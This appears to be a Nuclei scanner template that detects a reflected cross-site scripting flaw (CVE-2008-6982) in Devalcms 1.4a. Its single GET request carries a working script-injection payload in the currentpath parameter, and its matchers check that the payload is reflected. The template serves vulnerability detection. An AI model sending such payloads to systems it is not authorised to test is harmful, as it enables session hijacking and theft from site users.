id: CVE-2008-6982

info:
  name: Devalcms 1.4a - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6369
    - http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/44940
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-6982
    cwe-id: CWE-79
    epss-score: 0.0038
    epss-percentile: 0.72879
    cpe: cpe:2.3:a:devalcms:devalcms:1.4a:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devalcms
    product: devalcms
  tags: cve,cve2008,devalcms,xss,cms,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sub menu for: <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500
# digest: 490a00463044022100f35f66f91c673b84f97e34434b390db4e91629ddc7b6763aa3a908d372825bce021f493825bdc2bb46323b987edfda7d67019d483fb3f099b5c05bb7633929d794:922c64590222798bb761d5b6d8e72950